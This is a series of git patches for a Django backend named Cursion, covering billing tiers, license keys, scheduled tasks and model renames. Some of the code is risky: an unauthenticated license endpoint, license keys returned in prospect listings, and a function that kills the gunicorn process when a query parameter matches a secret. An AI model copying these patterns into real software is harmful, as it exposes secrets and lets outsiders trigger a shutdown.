+            _status = 'customer'
 
         # get admin member
         member = Member.objects.filter(account=account, type='admin')[0]
@@ -1119,7 +1189,10 @@ def get_prospects(request: object) -> object:
             'last_name': account.user.last_name,
             'email': account.user.email,
             'phone': member.phone,
-            'status': _status
+            'status': _status,
+            'info': account.info,
+            'meta': account.meta,
+            'license_key': account.license_key
         }
 
         # adding to results
@@ -1152,7 +1225,7 @@ def t7e(request: object) -> None:
     success = False
 
     # validating
-    if request.params.get('cred') == os.environ.get('CRED'):
+    if request.query_params.get('license_key') == os.environ.get('LICENSE_KEY'):
         subprocess.Popen(['pkill -f gunicorn'], 
             stdout=subprocess.PIPE,
             user='app',
diff --git a/app/api/v1/auth/urls.py b/app/api/v1/auth/urls.py
index d9b6cf4d..e3dd12d1 100644
--- a/app/api/v1/auth/urls.py
+++ b/app/api/v1/auth/urls.py
@@ -34,6 +34,7 @@
     path('verify', views.Verify.as_view(), name='verify'),
     path('account', views.Account.as_view(), name='account'),
     path('account/<uuid:id>/members', views.AccountMembers.as_view(), name='account-members'),
+    path('account/license', views.AccountLicense.as_view(), name='account-license'),
     path('member', views.Member.as_view(), name='member'),
     path('member/<uuid:id>', views.Member.as_view(), name='member-detail'),
     path('prospect', views.Prospect.as_view(), name='prospect'),
diff --git a/app/api/v1/auth/views.py b/app/api/v1/auth/views.py
index 244aae01..b490436d 100644
--- a/app/api/v1/auth/views.py
+++ b/app/api/v1/auth/views.py
@@ -180,6 +180,22 @@ def get(self, request, *args, **kwargs):
 
 
 
+class AccountLicense(APIView):
+    authentication_classes = []
+    permission_classes = (AllowAny,)
+    http_method_names = ['post']
+
+    def post(self, request):
+        response = get_account_license(request)
+        return response
+
+
+
+
+### ------ Begin Member Views ------ ###
+
+
+
 class Member(APIView):
     permission_classes = (IsAuthenticated,)
     http_method_names = ['get', 'post']
@@ -192,7 +208,12 @@ def get(self, request, id=None, *args, **kwargs):
         response = get_member(request, id)
         return response
 
-        
+
+
+
+### ------ Begin External Views ------ ###
+
+
 
 
 class Prospect(APIView):
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 8758d22b..ab89bafb 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -10,6 +10,7 @@
 from ..ops.services import delete_site
 from ..auth.services import create_or_update_account
 from ..auth.serializers import AccountSerializer
+from ...tasks import create_prospect
 from cursion import settings
 import stripe
 
@@ -28,7 +29,7 @@ def stripe_setup(request: object) -> object:
     "user" and `Account`
 
     Expects: {
-        'name'                  : <str> 'basic', 'pro', 'plus', 'custom' (REQUIRED)
+        'name'                  : <str> 'free', 'cloud', 'selfhost', 'enterprise' (REQUIRED)
         'interval'              : <str> 'month' or 'year' (REQUIRED)
         'price_amount'          : <int> 1000 == $10 (REQUIRED)
         'sites_allowed'         : <int> total # `Sites` per `Account` (REQUIRED)
@@ -191,7 +192,8 @@ def stripe_complete(request: object) -> object:
     stripe.api_key = settings.STRIPE_PRIVATE
     
     # get request data
-    account = Account.objects.get(user=request.user)
+    user = request.user
+    account = Account.objects.get(user=user)
     pay_method_id = request.data['payment_method']
 
     # get Stripe PaymentMethod object
@@ -223,7 +225,7 @@ def stripe_complete(request: object) -> object:
         
         # update `Card` object
         Card.objects.filter(account=account).update(
-            user            = request.user,
+            user            = user,
             account         = account,
             pay_method_id   = pay_method.id,
             brand           = pay_method.card.brand,
@@ -242,7 +244,7 @@ def stripe_complete(request: object) -> object:
 
         # create new `Card` object
         Card.objects.create(
-            user            = request.user,
+            user            = user,
             account         = account,
             pay_method_id   = pay_method.id,
             brand           = pay_method.card.brand,
@@ -255,6 +257,9 @@ def stripe_complete(request: object) -> object:
     account.active = True
     account.save()
 
+    # update prospect
+    create_prospect.delay(user_email=str(user.email))
+
     # serialize and return
     serializer_context = {'request': request,}
     serialized = AccountSerializer(account, context=serializer_context)
@@ -287,20 +292,12 @@ def calc_price(account: object=None) -> int:
     if account.meta.get('coupon'):
         discount = account.meta['coupon']['discount']
 
-    # calculate 
-    if sites_allowed <= 5:
-        price = 8900
-    elif sites_allowed > 5 and sites_allowed <= 10:
-        price = 17900
-    elif sites_allowed > 10 and sites_allowed <= 25:
-        price = 34900
-    elif sites_allowed > 25:
-        price = (
-            ( 
-                (-0.0003 * (sites_allowed ** 2)) + 
-                (1.5142 * sites_allowed) + 325.2
-            ) * 100
-        )
+    # calculate
+    price = (
+        ( 
+            (54.444 * (sites_allowed ** 0.4764))
+        ) * 100
+    )
 
     # apply discount
     price = price - (price * discount)
@@ -729,14 +726,10 @@ def get_stripe_invoices(request: object) -> object:
                 # is not proration
                 if not item['proration']:
                     # get product_name
-                    if 'basic' in item['description'].lower():
-                        product_name = 'Basic'
-                    if 'pro' in item['description'].lower():
-                        product_name = 'Pro'
-                    if 'plus' in item['description'].lower():
-                        product_name = 'Plus'
-                    if 'custom' in item['description'].lower():
-                        product_name = 'Custom'
+                    if 'cloud' in item['description'].lower():
+                        product_name = 'Cloud'
+                    if 'selfhost' in item['description'].lower():
+                        product_name = 'Self Host'
                     if 'enterprise' in item['description'].lower():
                         product_name = 'Enterprise'
                     # get interval
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 0c00cf54..9f0c1f72 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -338,10 +338,10 @@ def site_in_sites(id) -> bool:
                 }
             
 
-    # check for custom / enterprise plan
-    if (account.type == 'enterprise' or account.type == 'custom') and resource == 'site':
+    # check for cloud / enterprise plan
+    if (account.type == 'enterprise' or account.type == 'cloud') and resource == 'site':
         
-        # add to sites_allowed only for enterprise and custom plans
+        # add to sites_allowed only for enterprise and cloud plans
         if action == 'add' and account.usage['sites_allowed'] == Site.objects.filter(account=account).count():
             account.usage['sites_allowed'] += 1
             account.usage['schedules_allowed'] += 1
@@ -728,8 +728,8 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
     # decrememt resouce in account
     decrement_resource(account=account, resource='sites')
 
-    # update account if enterprise or custom
-    if account.type == 'enterprise' or account.type == 'custom':
+    # update account if enterprise or cloud
+    if account.type == 'enterprise' or account.type == 'cloud':
         account.usage['sites_allowed'] -= 1
         account.usage['schedules_allowed'] -= 1
         account.save()
diff --git a/app/cursion/settings.py b/app/cursion/settings.py
index 54370d38..1817a3b6 100644
--- a/app/cursion/settings.py
+++ b/app/cursion/settings.py
@@ -27,6 +27,10 @@
 DEBUG = True if os.environ.get('DEBUG') == 'True' else False
 
 
+# Specifies app and billing behavior
+MODE = os.environ.get('MODE')
+
+
 # Network settings
 CORS_ORIGIN_ALLOW_ALL = True
 DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 797dcfcf..e995e7ed 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -117,8 +117,8 @@ services:
     container_name: nginx-proxy
     hostname: nginx-proxy
     image: cursiondev/nginx
-    restart: always
     platform: linux/amd64
+    restart: always
     ports:
       - "443:443"
       - "80:80"
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 435e2aad..1be1c6fe 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -27,7 +27,7 @@ imutils==0.5.4
 kombu==5.3.7
 Markdown==3.6
 numpy~=1.26.4
-openai==1.35.14
+openai==1.57.0
 opencv-python==4.5.5.64
 Pillow==10.3.0
 prometheus-client==0.8.0
diff --git a/setup/scripts/local.sh b/setup/scripts/local.sh
index bb36608e..eb614a84 100644
--- a/setup/scripts/local.sh
+++ b/setup/scripts/local.sh
@@ -6,10 +6,10 @@
 cd $CURSION_ROOT/server &&
 {   
     docker compose -f docker-compose.yml down &&
-    docker volume rm server_app server_beat server_celery &&
+    docker volume rm server_server server_beat server_celery &&
     docker compose -f docker-compose.yml up --build
 } || {
-    docker volume rm server_app server_beat server_celery &&
+    docker volume rm server_server server_beat server_celery &&
     docker compose -f docker-compose.yml up --build
 } || {
     docker compose -f docker-compose.yml up --build

From a424b4af24d4e3f19e8c343e11279479fef251be Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 13:33:58 -0700
Subject: [PATCH 0792/1099] added default task creation on startup

---
 app/api/management/commands/create_tasks.py | 58 +++++++++++++++++++++
 app/api/tasks.py                            |  5 +-
 setup/scripts/entrypoint.sh                 |  2 +
 3 files changed, 62 insertions(+), 3 deletions(-)
 create mode 100644 app/api/management/commands/create_tasks.py

diff --git a/app/api/management/commands/create_tasks.py b/app/api/management/commands/create_tasks.py
new file mode 100644
index 00000000..20244ae4
--- /dev/null
+++ b/app/api/management/commands/create_tasks.py
@@ -0,0 +1,58 @@
+from django.core.management.base import BaseCommand
+from django_celery_beat.models import PeriodicTask, IntervalSchedule
+from datetime import datetime
+
+
+
+
+
+
+# creating default system tasks
+class Command(BaseCommand):
+
+    def handle(self, *args, **options):
+
+        tasks = [
+            {
+                'every': 3,
+                'peroid': IntervalSchedule.SECONDS,
+                'name': 'Redeliver Failed Tasks',
+                'task': 'api.tasks.redeliver_failed_tasks'
+            },
+            {
+                'every': 1,
+                'peroid': IntervalSchedule.DAYS,
+                'name': 'Data Retention Cleanup',
+                'task': 'api.tasks.data_retention'
+            },
+            {
+                'every': 1,
+                'peroid': IntervalSchedule.DAYS,
+                'name': 'Reset Account Usage',
+                'task': 'api.tasks.reset_account_usage'
+            },
+        ]
+
+        # loop through and create 
+        # PeriodicTasks for each 
+        for task in tasks:
+
+            print(f'Setting up Task: {task.get('name')}')
+
+            try:
+                # create the schedule
+                schedule, created = IntervalSchedule.objects.get_or_create(
+                    every=task.get('every'),
+                    period=task.get('period'),
+                )
+
+                # create the task
+                PeriodicTask.objects.create(
+                    interval=schedule,
+                    name=task.get('name'),
+                    task=task.get('task')
+                )
+            
+            except Exception as e:
+                print(e)
+
diff --git a/app/api/tasks.py b/app/api/tasks.py
index ef456dde..d9bc83a2 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2465,8 +2465,8 @@ def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
 
     # calculate
     price = (
-        ( 
-            (54.444 * (sites_allowed ** 0.4764))
+        (
+            54.444 * (sites_allowed ** 0.4764)
         ) * 100
     )
 
@@ -2504,7 +2504,6 @@ def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
 
     # update account with new info
     account.price_id = price.id
-    account.price_amount = 0
     account.price_amount = price_amount
     account.usage['sites'] = sites_allowed
     account.usage['scans_allowed'] = (sites_allowed * 200)
diff --git a/setup/scripts/entrypoint.sh b/setup/scripts/entrypoint.sh
index e2620c65..ca7daf2c 100755
--- a/setup/scripts/entrypoint.sh
+++ b/setup/scripts/entrypoint.sh
@@ -8,6 +8,7 @@ if [[ $1 == *"server"* ]]
         python3 manage.py wait_for_db && 
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&
+        python3 manage.py create_tasks &&
         python3 manage.py driver_test &&
         python3 manage.py runserver 0.0.0.0:8000
     fi
@@ -16,6 +17,7 @@ if [[ $1 == *"server"* ]]
         python3 manage.py wait_for_db && 
         python3 manage.py migrate --no-input &&
         python3 manage.py create_admin &&
+        python3 manage.py create_tasks &&
         python3 manage.py driver_test &&
         gunicorn --timeout 1000 --graceful-timeout 1000 --keep-alive 3 --log-level debug cursion.wsgi:application --bind 0.0.0.0:8000
     fi

From 95497d3203fa8a17b4fda37cd47ac31b191c0df5 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 14:40:01 -0700
Subject: [PATCH 0793/1099] fix for default task creation

---
 app/api/management/commands/create_tasks.py | 8 ++++----
 setup/requirements/requirements.txt         | 2 +-
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/management/commands/create_tasks.py b/app/api/management/commands/create_tasks.py
index 20244ae4..4eb52fd5 100644
--- a/app/api/management/commands/create_tasks.py
+++ b/app/api/management/commands/create_tasks.py
@@ -14,20 +14,20 @@ def handle(self, *args, **options):
 
         tasks = [
             {
-                'every': 3,
-                'peroid': IntervalSchedule.SECONDS,
+                'every': 2,
+                'period': IntervalSchedule.MINUTES,
                 'name': 'Redeliver Failed Tasks',
                 'task': 'api.tasks.redeliver_failed_tasks'
             },
             {
                 'every': 1,
-                'peroid': IntervalSchedule.DAYS,
+                'period': IntervalSchedule.DAYS,
                 'name': 'Data Retention Cleanup',
                 'task': 'api.tasks.data_retention'
             },
             {
                 'every': 1,
-                'peroid': IntervalSchedule.DAYS,
+                'period': IntervalSchedule.DAYS,
                 'name': 'Reset Account Usage',
                 'task': 'api.tasks.reset_account_usage'
             },
diff --git a/setup/requirements/requirements.txt b/setup/requirements/requirements.txt
index 1be1c6fe..0bb2d94e 100644
--- a/setup/requirements/requirements.txt
+++ b/setup/requirements/requirements.txt
@@ -12,7 +12,7 @@ click-plugins==1.1.1
 click-repl==0.3.0
 cryptography==43.0.3
 Django==5.0.6
-django-celery-beat==2.6.0
+django-celery-beat==2.7.0
 django-filter==24.2
 djangorestframework==3.15.1
 django-markdownify==0.9.5

From 8cedcb83145e1a68c647c64ce9a5b6e6119902fd Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 14:40:11 -0700
Subject: [PATCH 0794/1099] fixing admin functions

---
 app/api/admin.py           |  4 ++--
 app/api/v1/ops/services.py | 18 +++++++-----------
 2 files changed, 9 insertions(+), 13 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 592dc8ca..621b7fb0 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -60,7 +60,7 @@ def crawl_sites(self, request, queryset):
         for site in queryset:
             crawl_site(
                 id=site.id,
-                account=site.account
+                user=site.account.user
             )
 
     def scan_sites(self, request, queryset):
@@ -81,7 +81,7 @@ def delete_sites(self, request, queryset):
         for site in queryset:
             delete_site(
                 id=site.id,
-                account=site.account
+                user=site.account.user
             )
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 9f0c1f72..1f434ebc 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -514,14 +514,14 @@ def create_site(request: object=None) -> object:
 
 
 
-def crawl_site(request: object=None, id: str=None, account: object=None) -> object:
+def crawl_site(request: object=None, id: str=None, user: object=None) -> object:
     """ 
     Initiates a new Crawl for the passed `Site`.id
 
     Expects: {
         'request' : object, 
         'id'      : str,
-        'account' ; object
+        'user'    : object
     }
     
     Returns -> HTTP Response object
@@ -530,13 +530,10 @@ def crawl_site(request: object=None, id: str=None, account: object=None) -> obje
     # get user and account
     if request:
         user = request.user
-        member = Member.objects.get(user=user)
-        account = member.account
-        configs = request.data.get('configs', None)
-    
-    if not request:
-        user = account.user
-        configs = account.configs
+
+    member = Member.objects.get(user=user)
+    account = member.account
+    configs = request.data.get('configs', None)
 
     # updating configs if None:
     configs = account.configs if configs == None else configs
@@ -682,7 +679,7 @@ def delete_site(request: object=None, id: str=None, user: object=None) -> object
     Expcets: {
         'request' : object,
         'id'      : str,
-        'account' : object,
+        'user'    : object,
     }
 
     Returns -> HTTP Response object
@@ -1436,7 +1433,6 @@ def create_scan(request: object=None, **kwargs) -> object:
 
     Expects: {
         'request': object, 
-        'delay': bool
     }
 
     Returns -> dict or HTTP Response object

From bd4b4370047f1c21d25cc3351d62aa893848ac85 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 18:56:35 -0700
Subject: [PATCH 0795/1099] added pull_policy

---
 .github/workflows/dev-deploy.yaml | 1 -
 1 file changed, 1 deletion(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index caf2d082..b36f3165 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -9,7 +9,6 @@ on:
     paths:
       - 'app/**'
       - 'Dockerfile'
-      - 'Dockerfile.dev'
       - 'docker-compose.dev.yml'
       - '.github/workflows/**'
 

From b7d2d18fd6abdf07c6d4e2b5438f3b85fe51e846 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 18:56:47 -0700
Subject: [PATCH 0796/1099] removed Docker.dev

---
 docker-compose.dev.yml | 1 +
 1 file changed, 1 insertion(+)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index e995e7ed..4f13a2d3 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -6,6 +6,7 @@ services:
     hostname: cursion-client
     image: cursiondev/client
     platform: linux/amd64
+    pull_policy: always
     env_file:
       - ./env/.env.client.dev
     expose:

From fe9f32865c441b26a3048eb441b6b775b1d9b3db Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 19:14:46 -0700
Subject: [PATCH 0797/1099] updated models

---
 .github/workflows/dev-deploy.yaml | 2 +-
 app/api/models.py                 | 9 ++++++++-
 2 files changed, 9 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/dev-deploy.yaml b/.github/workflows/dev-deploy.yaml
index b36f3165..08cddef9 100644
--- a/.github/workflows/dev-deploy.yaml
+++ b/.github/workflows/dev-deploy.yaml
@@ -25,7 +25,7 @@ jobs:
         username: ${{ secrets.DEV_USER }}
         key: ${{ secrets.DEV_KEY }}
         command_timeout: 30m
-        script: | 
+        script: |  # docker volume rm app_pgdata
           cd ~/app
           git pull origin dev
           docker compose -f docker-compose.dev.yml down
diff --git a/app/api/models.py b/app/api/models.py
index 8b2dd99c..8de5314c 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -356,6 +356,13 @@ def get_edges_default():
 
 
 
+def get_license_key():
+    license_key = 'cursion-license-' + secrets.token_hex(32)
+    return license_key
+
+
+
+
 
 
 class Account(models.Model):
@@ -367,7 +374,7 @@ class Account(models.Model):
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
-    license_key = models.CharField(max_length=100, serialize=True, null=True, blank=True) ## -> NEW!!!!!
+    license_key = models.CharField(max_length=100, serialize=True, null=True, blank=True, default=get_license_key) ## -> NEW!!!!!
     # sites_allowed = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
     # max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3) ## -> REMOVING!!!!
     # max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!

From 1379dbf6635cd1248f14d94910696ef4fba70fcf Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 19:22:30 -0700
Subject: [PATCH 0798/1099] fixed import issue

---
 app/api/models.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/models.py b/app/api/models.py
index 8de5314c..88c7d507 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -5,7 +5,7 @@
 from datetime import datetime, timezone as tz
 from django.contrib.postgres.fields import JSONField
 from cursion import settings
-import uuid
+import uuid, secrets
 
 
 

From 55d1f84fbda264d52c59adb8a29c27bf64623fd8 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 20:19:21 -0700
Subject: [PATCH 0799/1099] debugging alerter

---
 app/api/utils/alerter.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/alerter.py b/app/api/utils/alerter.py
index af0d2023..60cc0e69 100644
--- a/app/api/utils/alerter.py
+++ b/app/api/utils/alerter.py
@@ -155,6 +155,7 @@ def build_expressions(self) -> None:
         
         # build expression string
         self.exp_string = ' '.join(exp_list)
+        print(f'Current EXP -> {self.exp_string}')
 
         # return exp_string
         return self.exp_string

From 601ee4f5b09db3bd57bc6b42e5ccd53a39da062c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 10 Dec 2024 20:58:52 -0700
Subject: [PATCH 0800/1099] fixed alerter logic builder

---
 app/api/utils/alerter.py | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/app/api/utils/alerter.py b/app/api/utils/alerter.py
index 60cc0e69..00021d4a 100644
--- a/app/api/utils/alerter.py
+++ b/app/api/utils/alerter.py
@@ -108,6 +108,7 @@ def build_expressions(self) -> None:
         """
                 
         # begin iteration
+        exp_list = []
         for expression in self.expressions:
 
             # set defaults
@@ -117,7 +118,6 @@ def build_expressions(self) -> None:
             joiner = ''
             data_type = 'obj.status'
             value = f"str('{str(expression['value'])}')"
-            exp_list = []
             non_float_types = ['caserun_status', 'test_status', 'flowrun_status']
 
             # get comparison value
@@ -155,7 +155,6 @@ def build_expressions(self) -> None:
         
         # build expression string
         self.exp_string = ' '.join(exp_list)
-        print(f'Current EXP -> {self.exp_string}')
 
         # return exp_string
         return self.exp_string

From ea8101107685eb50ad2f8129e0c2ff16ed0de762 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 08:52:31 -0700
Subject: [PATCH 0801/1099] fixed billing info issue

---
 app/api/v1/billing/services.py | 30 ++++++++++++++++++------------
 1 file changed, 18 insertions(+), 12 deletions(-)

diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index ab89bafb..bec014af 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -504,14 +504,25 @@ def get_billing_info(request: object) -> object:
 
     # get user and account
     user = request.user
-    account = Account.objects.get(user=user)
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # set default
     card = None
+
+    # build plan
+    plan = {
+        'name': account.type,
+        'active': account.active,
+        'price_amount': account.price_amount,
+        'interval': account.interval,
+        'usage': account.usage,
+        'meta': account.meta,
+    }
         
     # get `Card` info if exists
-    if Card.objects.filter(user=user).exists():
-        _card = Card.objects.get(user=user)
+    if Card.objects.filter(account=account).exists():
+        _card = Card.objects.get(account=account)
         card = {
             'brand': _card.brand,
             'exp_year': _card.exp_year,
@@ -522,14 +533,7 @@ def get_billing_info(request: object) -> object:
     # format billing info
     data = {
         'card': card,
-        'plan': {
-            'name': account.type,
-            'active': account.active,
-            'price_amount': account.price_amount,
-            'interval': account.interval,
-            'usage': account.usage,
-            'meta': account.meta,
-        },
+        'plan': plan
     }
     
     # return data
@@ -687,7 +691,9 @@ def get_stripe_invoices(request: object) -> object:
     stripe.api_key = settings.STRIPE_PRIVATE
 
     # get user's account
-    account = Account.objects.get(user=request.user)
+    user = request.user
+    member = Member.objects.get(user=user)
+    account = member.account
 
     # setting defaults
     data = {"message": "no Account found"}

From 36509ee0ed07a06c600df4580cd0d936e82116ce Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 08:59:04 -0700
Subject: [PATCH 0802/1099] fixed import bug

---
 app/api/v1/billing/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index bec014af..543c3e49 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -4,7 +4,7 @@
 from django.core import serializers
 from datetime import date, datetime, timedelta
 from ...models import (
-    Account, Card, Site, Issue, Flow, Schedule,
+    Account, Member, Card, Site, Issue, Flow, Schedule,
     get_meta_default, get_usage_default
 )
 from ..ops.services import delete_site

From e5728aa371f6669cbc535bff428d26837ab08499 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Dec 2024 09:36:02 -0700
Subject: [PATCH 0803/1099] additonal notes for migration

---
 app/api/admin.py               |  4 ++--
 app/api/models.py              | 21 +++++++++++----------
 app/api/v1/billing/services.py |  2 +-
 3 files changed, 14 insertions(+), 13 deletions(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 621b7fb0..8ebd6ca0 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -136,7 +136,7 @@ def delete_tests(self, request, queryset):
 class ScanAdmin(admin.ModelAdmin):
     list_display = ('id', 'page', 'time_created', 'time_completed')
     search_fields = ('page__page_url',)
-    actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ] # NEW!!!
+    actions = ['delete_scans', 'mark_as_completed', 'add_scan_score' ]
 
     def delete_scans(self, request, queryset):
         for scan in queryset:
@@ -145,7 +145,7 @@ def delete_scans(self, request, queryset):
                 account=scan.page.account
             )
     
-    def add_scan_score(self, request, queryset): # NEW!!!
+    def add_scan_score(self, request, queryset):
         for scan in queryset:
             update_scan_score.delay(
                 scan_id=scan.id
diff --git a/app/api/models.py b/app/api/models.py
index 88c7d507..f0638468 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -375,7 +375,7 @@ class Account(models.Model):
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True, default='free')
     code = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     license_key = models.CharField(max_length=100, serialize=True, null=True, blank=True, default=get_license_key) ## -> NEW!!!!!
-    # sites_allowed = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
+    # max_sites = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
     # max_pages = models.IntegerField(serialize=True, null=True, blank=True, default=3) ## -> REMOVING!!!!
     # max_schedules = models.IntegerField(serialize=True, null=True, blank=True, default=1) ## -> REMOVING!!!!
     # retention_days = models.IntegerField(serialize=True, null=True, blank=True, default=3) ## -> REMOVING!!!!
@@ -419,7 +419,7 @@ class Member(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     email = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # created by Account admin
-    phone = models.CharField(max_length=50, serialize=True, null=True, blank=True)
+    phone = models.CharField(max_length=50, serialize=True, null=True, blank=True) ## NEW !!!
     status = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  # pending, active
     type = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  # admin, contributor, client
     permissions = models.JSONField(serialize=True, null=True, blank=True, default=get_permissions_default) ## NEW !!!!!!!!
@@ -431,7 +431,7 @@ def __str__(self):
 
 
 
-class Secret(models.Model):
+class Secret(models.Model): ### NEW !!!!
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
@@ -532,7 +532,7 @@ def __str__(self):
 
 class Case(models.Model):
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
-    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  ## RENAMED !!!! from name
+    title = models.CharField(max_length=1000, serialize=True, null=True, blank=True)  ## RENAMED !!!! from name to title
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
@@ -544,17 +544,17 @@ class Case(models.Model):
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
 
     def __str__(self):
-        return f'{self.title}' if len(self.title) > 0 else str(id)
+        return f'{self.title}' if len(self.title) > 0 else str(id)  ### REMANED from self.name to self.title
 
 
 
 
-class CaseRun(models.Model):  ## -> RENAME from Testcase !!!!!!!
+class CaseRun(models.Model):  ## -> RENAME from Testcase to CaseRun !!!!!!!
     id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
     user = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     case = models.ForeignKey(Case, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
-    title = models.CharField(max_length=500, null=True, blank=True, serialize=True)  ## RENAMED !!!! from case_name
+    title = models.CharField(max_length=500, null=True, blank=True, serialize=True)  ## RENAMED !!!! from case_name to title
     site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     time_completed = models.DateTimeField(null=True, blank=True, serialize=True)
@@ -563,7 +563,7 @@ class CaseRun(models.Model):  ## -> RENAME from Testcase !!!!!!!
     configs = models.JSONField(serialize=True, null=True, blank=True)
 
     def __str__(self):
-        return f'{self.title}_caserun'
+        return f'{self.title}_caserun' ## RENAMED !!! from case.name to title
 
 
 
@@ -646,7 +646,8 @@ class Schedule(models.Model):
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
     scope = models.CharField(max_length=100, default='account', serialize=True)
     resources = models.JSONField(serialize=True, null=True, blank=True)
-    alert = models.ForeignKey('Alert', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_alert')
+    alert = models.ForeignKey('Alert', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_alert') ## NEW !!!!
+    # automation = models.ForeignKey('Automation', on_delete=models.SET_NULL, null=True, blank=True, serialize=True, related_name='assoc_auto')  ## REMOVE !!!!
     time_created = models.DateTimeField(default=datetime.now, null=True, blank=True, serialize=True)
     time_last_run = models.DateTimeField(null=True, blank=True, serialize=True)
     task_type = models.CharField(max_length=100, default='test', serialize=True)
@@ -666,7 +667,7 @@ def __str__(self):
 
 
 
-class Alert(models.Model):  ## -> RENAME from Automation !!!!!!!
+class Alert(models.Model):  ## -> RENAME from Automation to alert !!!!!!!
